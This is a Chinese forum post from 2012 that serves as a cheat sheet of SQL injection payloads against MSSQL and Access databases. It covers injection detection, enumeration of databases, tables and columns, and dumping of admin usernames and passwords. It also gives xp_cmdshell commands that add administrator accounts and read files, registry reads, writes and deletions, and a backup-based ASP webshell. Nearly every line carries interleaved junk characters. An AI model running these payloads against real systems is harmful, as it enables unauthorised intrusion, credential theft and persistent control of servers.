找回密码
 立即注册
欢迎中测联盟老会员回家,1997年注册的域名
查看: 1986|回复: 0
打印 上一主题 下一主题

SQL注入常用语句

[复制链接]
跳转到指定楼层
楼主
发表于 2012-9-15 14:31:51 | 只看该作者 回帖奖励 |倒序浏览 |阅读模式
1.判断是否有注入
( `& y) l# I3 D;and 1=1
/ c4 n; O" z  ?;and 1=2
( r1 a* m2 G! V; D1 A1 Y( @; L! X4 k: ^) H2 J" k, l4 D$ j$ {/ }( b
2.初步判断是否是mssql
) j9 @1 Z6 }. r;and user>0 % _% X9 ^1 V7 H$ [1 M

* E9 V1 {6 c0 I3.判断数据库系统 7 [* {2 I% H0 t* i1 i- w6 T, }
;and (select count(*) from sysobjects)>0 mssql ( i9 r4 w: h: n0 I* Z( t# q
;and (select count(*) from msysobjects)>0 access
' q1 X+ l$ \; L9 f4 `
3 z$ g, J1 i4 W: r2 l. g; h4.注入参数是字符 7 n0 f, w* @5 _( r: Y7 `
'and [查询条件] and ''='
6 u2 t7 F) e! u( M+ e. f% G. Q' w4 |4 R6 y6 r( ^
5.搜索时没过滤参数的 8 M8 ]& e. {5 n# f; c3 W: K
'and [查询条件] and '%25'=' 1 d4 H8 M9 K" s% X/ T
5 O6 f4 c/ v$ q. H  f6 {5 n
6.猜数表名
  v/ y' S4 ~1 T  S3 F;and (select Count(*) from [表名])>0
4 E% q4 p- v8 v9 c
* g2 k5 c7 h2 x7 R- a- E- D3 k; N7.猜字段
" h* I9 h6 s* e) O/ Q* e;and (select Count(字段名) from 表名)>0 3 ~& y/ |, f/ u0 f. C- m1 Y

& ~4 H$ b$ N# v  Z, F% h8.猜字段中记录长度
0 q- w  W9 H. C: N- }/ E; b;and (select top 1 len(字段名) from 表名)>0 6 N5 b9 w" U! V. t* N0 O: X

- M* H2 _% ~9 W0 c1 P" Z/ ~3 K9.(1)猜字段的ascii值(access)
9 F/ e: n+ B1 \9 n9 m# U0 @' c;and (select top 1 asc(mid(字段名,1,1)) from 表名)>0
! o& p0 }/ E  D' W; d7 g: k8 W2 L- {9 ?6 H- \- m
(2)猜字段的ascii值(mssql) 5 U3 r( d% j/ ~4 o- K+ M; q
;and (select top 1 unicode(substring(字段名,1,1)) from 表名)>0 0 T6 d1 A0 t: Z, i) [
$ f  ]; G6 J: n8 ]9 N' j
10.测试权限结构(mssql)
4 F( C1 _0 O$ \4 T* N- W7 p4 x' I;and 1=(select IS_SRVROLEMEMBER('sysadmin'));-- ! Z/ t0 w7 L+ q6 H; M
;and 1=(select IS_SRVROLEMEMBER('serveradmin'));--
2 }4 s' k' f& Z! f;and 1=(select IS_SRVROLEMEMBER('setupadmin'));-- + f+ _; f! y( D: V1 L0 I
;and 1=(select IS_SRVROLEMEMBER('securityadmin'));--
  n0 V( }/ `- e5 o1 z2 t! B! k;and 1=(select IS_SRVROLEMEMBER('diskadmin'));--
: t0 d  M3 y1 Q( |! L$ y3 X;and 1=(select IS_SRVROLEMEMBER('bulkadmin'));--
6 R% E6 e4 ]2 [& T0 \8 o) T;and 1=(select IS_MEMBER('db_owner'));-- 1 _- k- F1 Y8 T
% W; P; B# L8 J) x/ F! }
11.添加mssql和系统的帐户
4 I2 ]6 f/ O) j. V6 q# k) i;exec master.dbo.sp_addlogin username;--
' \" _7 N; N. Y/ ]& M;exec master.dbo.sp_password null,username,password;-- . I3 L( d8 d* S% ~2 S
;exec master.dbo.sp_addsrvrolemember sysadmin username;-- % f1 Z" F0 }( W. W  U8 j6 o; P( D
;exec master.dbo.xp_cmdshell 'net user username password /workstations:* /times:all /passwordchg:yes /passwordreq:yes /active:yes /add';-- . H2 Z# ~" h1 i( y/ O# Q* g
;exec master.dbo.xp_cmdshell 'net user username password /add';--
- h1 ~# Q# ]0 O1 T;exec master.dbo.xp_cmdshell 'net localgroup administrators username /add';--
$ @$ E; u9 w3 M; J1 ^5 z6 _% g# b5 H4 H% l1 h
12.(1)遍历目录
2 V6 e+ ?! e$ \! m;create table dirs(paths varchar(100), id int) ( j* [% f6 Y$ d! _# l% O0 i$ L
;insert dirs exec master.dbo.xp_dirtree 'c:\' , x! e$ ~7 ^6 B8 _2 J
;and (select top 1 paths from dirs)>0
) Q. }1 L4 L& g, w6 `;and (select top 1 paths from dirs where paths not in('上步得到的paths'))>) % L8 P- _. l" L0 T! j( d

/ [; s( r9 _( t1 x" K- e(2)遍历目录 5 j( f8 L  Z) R: N2 H
;create table temp(id nvarchar(255),num1 nvarchar(255),num2 nvarchar(255),num3 nvarchar(255));--
: E( W( g4 y8 M+ o. j$ e;insert temp exec master.dbo.xp_availablemedia;-- 获得当前所有驱动器
5 I9 R8 o3 B( e3 ]: f;insert into temp(id) exec master.dbo.xp_subdirs 'c:\';-- 获得子目录列表 % n0 _. R% n6 R- g  F. ?3 B- ~
;insert into temp(id,num1) exec master.dbo.xp_dirtree 'c:\';-- 获得所有子目录的目录树结构
( _* Q: \6 Z# U% \- s9 M' V;insert into temp(id) exec master.dbo.xp_cmdshell 'type c:\web\index.asp';-- 查看文件的内容
3 P' S9 P/ O& U+ ~# s0 m( |( E7 h' G# d: f% ?" m. d( B
13.mssql中的存储过程
8 ]5 V3 y4 x9 i, z, kxp_regenumvalues 注册表根键, 子键 * w; e- c3 h2 E4 Z
;exec xp_regenumvalues 'HKEY_LOCAL_MACHINE','SOFTWARE\Microsoft\Windows\CurrentVersion\Run' 以多个记录集方式返回所有键值 ) a; P# T+ x3 ]  }& x
xp_regread 根键,子键,键值名 + C/ Z8 B% i5 e- |: {
;exec xp_regread 'HKEY_LOCAL_MACHINE','SOFTWARE\Microsoft\Windows\CurrentVersion','CommonFilesDir' 返回制定键的值 . E% K- ^' N" a- U) G5 V4 A
xp_regwrite 根键,子键, 值名, 值类型, 值
' K% }& _0 J7 ]4 _, g+ l" R值类型有2种REG_SZ 表示字符型,REG_DWORD 表示整型 " }: R' M6 d& p) Z5 O; y1 @
;exec xp_regwrite 'HKEY_LOCAL_MACHINE','SOFTWARE\Microsoft\Windows\CurrentVersion','TestvalueName','reg_sz','hello' 写入注册表
1 |1 h: k, {( o& M- Y4 H$ Lxp_regdeletevalue 根键,子键,值名 " {8 H% K* ]4 z9 c. |
exec xp_regdeletevalue 'HKEY_LOCAL_MACHINE','SOFTWARE\Microsoft\Windows\CurrentVersion','TestvalueName' 删除某个值 " z) G% L7 M+ n+ x. R' m  K3 N
xp_regdeletekey 'HKEY_LOCAL_MACHINE','SOFTWARE\Microsoft\Windows\CurrentVersion\Testkey' 删除键,包括该键下所有值
& [; n% \2 |' r( j: l% j* P5 g( l! L* L
14.mssql的backup创建webshell
# {/ g5 e7 z+ u5 b0 U; b1 w* Duse model
/ o% m; m2 t' I/ J+ G( Lcreate table cmd(str image); ' b# e! l6 `3 N' V; w+ {# P& c
insert into cmd(str) values ('<% Dim oScript %>'); ' |  t; }5 G1 x& o
backup database model to disk='c:\l.asp'; 5 E  F' v+ A7 B) |! j3 b( C7 }* m
. Z2 r) N. ]6 }; c2 R8 Y
15.mssql内置函数
6 d  r4 o1 l' H) W5 i! f;and (select @@version)>0 获得Windows的版本号
" S) V. D6 R; d  ?" i6 l;and user_name()='dbo' 判断当前系统的连接用户是不是sa
- V9 C$ x. V1 j* y0 S. ?, u  L; ];and (select user_name())>0 爆当前系统的连接用户 ' n. J2 \. h9 q. I3 f; [
;and (select db_name())>0 得到当前连接的数据库
: w/ J% Q1 N& h. O( t$ V$ x( M8 i: b& o& E6 _) M# e( h+ B
- n6 j$ D6 x* O/ E1 i

& j9 H6 k; G0 x* Y- lMSSQL手注暴库1 E0 I5 o* d4 T
6 z' p9 Q+ N4 e( W
1.暴出当前表名和列名7 \4 \6 ^# s9 [
在注入点后提交“'having 1=1--",得到返回信息为英文,在这段英文中即可看到一个表名和一个列名。提交“group by 暴出的表名列名having 1=1--",可得到另一个列名;继续提交“group by 暴了的表名列名,暴出的表名.第2个列名 having 1=1--",可再得到一个列名。用同样的方法提交,直到页面不再返回错误信息,就可以得到所有的列名。小知识:暴表名与列名是在SQL语句中“having 1=1—"与GROUP BY结合使用,进行条件判断的。由于语句不完整,因此数据库返回错误信息,并显示一个表名和一个列名。基本方法只能暴出数据库中的当前表,如果某个表中包含的列名非常多,用上基本方法就非常困难了。
9 g8 d! O9 S! V' ?4 S1 h! H3 C2 B! y8 \( A, Z
第一.爆出所有数据库名# a* k4 Y5 u, v4 d: a
利用“and 0<>(select count(*) from master.dbo.sysdatabases where name>1 and dbid=[N])"语句,暴出数据库中任意表名和列名,其中“[N]"表示数据库中的第N个表。0 K5 N( q5 [  K% x8 d
第一步:在注入点后提交如下语句:“and 0<>(select count(*) from master.dbo.sysdatabases where name>1 and dbid=12)",因为 dbid 的值从1到5,是系统使用的,所以用户自己建的一定是从6开始的,并且我们提交了 name>1,name字段是一个字符型的字段,和数字比较会出错因此在提交后,IE会返回如下的信息:“Microsoft OLE DB Provider for ODBC Drivers 错误 ?e07' [Microsoft][ODBC SQL Server Driver][SQL Server]将 nvarchar 值 'Northwind' 转换为数据类型为 int 的列时发生语法错误。",这样就把name字段的值暴出来了,也就是我们得到了一个库名“Northwind"。改变“dbid"的值可以得出所有的库名。
& j7 c" u) B5 ]6 h
, y# W2 q$ b7 e; r, J7 v; rand 0<>(select count(*) from master.dbo.sysdatabases where name>1 and dbid=[N])--  修改N从6开始爆出所有数据库名
. H8 l6 E6 K5 F0 V2 Z
$ c0 ]% Z) j5 A+ |  i* E% y( Z( R$ T" G7 ^1 q4 J
第二.爆出指定库中的所有表名- c& B0 ^% e! H, w, M
得到了库名后,现在要得到库中所有的表名,提交如下语句:"and 0<>(select top 1 name from master.dbo.sysobjects where xtype='U') ",这里要暴的是master这个库中的表名,查询的SQL语句返回的是name的值,然后和数字0比较,这样就会暴露出name的值。提交后一个表名为“'spt_monito"就被暴出来了。! {; @2 j, S( ]0 z( X
再接着暴其他的表,继续提交如下语句:“and 0<>(select top 1 name from master.dbo.sysobjects where xtype='U' and name not in('spt_monito'))"提交后,又暴出一个表名为"cd512"。依次提交"and name not in(' spt_monito',' cd512',..))"就可以查出所有的表名。
" Z! G. S4 ^; B6 D" V8 a$ l6 s" e- a3 y! b0 i
and 0<>(select top 1 name from [指定库名].dbo.sysobjects where xtype='U')--
* v( G# e, B6 w9 @# I2 J6 Dand 0<>(select top 1 name from [指定库名].dbo.sysobjects where xtype='U' and name not in('[爆出的表名]'))--( l& r) {' i! i# g
and 0<>(select top 1 name from [指定库名].dbo.sysobjects where xtype='U' and name not in('[爆出的表名]','[爆出的第二表名]'))--
1 w& c' m1 L; a4 f. f" m% ^0 r3 R6 C: Z& e: X7 W
4.爆出指定表中的所有列名! K1 Z$ A* @: u" P" e/ h
and 0<>(select count(*) from bbs.dbo.sysobjects where xtype='U' and name='admin' and uid>(str(id))) 8 z" f: d0 X# f
//把ID值转成字符型后再和一个整型值比较。ID号出来了。值为:949578421  name='表名'8 B- A# y7 R! ?" H
5 K& m! P$ C% Q! G2 z7 g
and 0<>(select top 1 name from wutong.dbo.syscolumns where id=949578421)--  爆出admin表中的一个字段名  F+ j/ p* J& F! i5 f/ h
3 G0 X0 l) o% l: I
再提交and 0<>(select top 1 name from wutong.dbo.syscolumns where id=949578421 and name not in('adduser'))-- 5 |3 ]' C% `4 q
依次提交"and name not in(' spt_monito',' cd512',..))"就可以查出admin表中的所有字段名。
# z2 {. m% W: z% ?# a' B9 e
# T  Y1 z0 Y  N4 h- v4 M
+ T+ d, f! Y3 T& l) N4 R/ E& D/ kand 0<>(select count(*) from [指定库名].dbo.sysobjects where xtype='U' and name='[要爆字段的表名]' and uid>(str(id)))--  爆出要爆字段的表名id值
# V9 Z! ^& O. P0 [2 A4 O3 r3 a
: n0 Z8 n" s' c1 f3 Sand 0<>(select top 1 name from [指定库名].dbo.syscolumns where id=爆出的id值)-- 爆出id值表中的一个字段名0 X9 I9 `- |8 P; `3 z5 t% ?

# Y' W% u# F9 e: Land 0<>(select top 1 name from [指定库名].dbo.syscolumns where id=爆出的id值 and name not in('[爆出的字段名]'))-- " d$ }0 m- R* l

- o$ w* r+ y4 N
; w0 R1 e* P/ L2 t
) n  R4 g6 T$ b0 n7 k+ R3 l3 U5 s5.读取指定表中的数据. }) \& b/ B& Y/ B* d
2 d: m  M; q9 j  T
and 0<(select A_ID from wutong.dbo.admin where A_UserID>1)-- 爆出A_PWD的内容 # G# M  X2 ]+ K% A

/ S" e) V: c5 H/ v: }# H/ jand 0<(select [一个存在的字段] from [指定库名].dbo.[要查询的表名] where [要爆内容的字段名]>1)--0 @) r$ v$ |0 g4 A
5 }  K$ a/ _% ^7 a, w
and 0<(select A_ID from wutong.dbo.admin where A_PWD>1 and A_UserID='admin')-- 爆出admin的密码; S* _' Z; k' ?) U0 E4 _: n9 [/ n

1 t  a  h5 {( [, X; I  ?0 k
2 K* T' j; E! ^and 0<(Select Top 1 A_UserID FROM admin where A_ID<>1)--  爆出id<>1的管理员名字(fuhao)" Y, Y$ h# A; [" Y3 n! O* q

4 m) w# s3 c' k0 n0 ?& Xand 0<(Select Top 1 A_UserID FROM admin where A_ID <>1 and A_UserID <> 'fuhao')-- 爆出第二个管理员的名字 <>不等于(tuiguang)
" W5 H5 [) ~4 c' n
7 C7 D( Q, S: ^) D; W3 J' P) r3 g3 uand 0<(Select Top 1 A_UserID FROM admin where  A_ID <>1 and A_UserID <> 'fuhao'and A_UserID <> 'tuiguang')--! d+ P% p6 G, W

9 ~1 @9 \& j8 Q$ a" P知道了数据库的表名、列名后,可以利用“查询语句"读取数据库中的任意信息。例如要读取某个表中某列中的第N个数据,可提交语句:“and (Select Top 1 列名 FROM 表名 where id=[N])>1"( [N]代表列中的第N条数据),从IE返回信息中即可得知想要的数据。
  a# p' L  k* n/ i
回复

使用道具 举报

您需要登录后才可以回帖 登录 | 立即注册

本版积分规则

快速回复 返回顶部 返回列表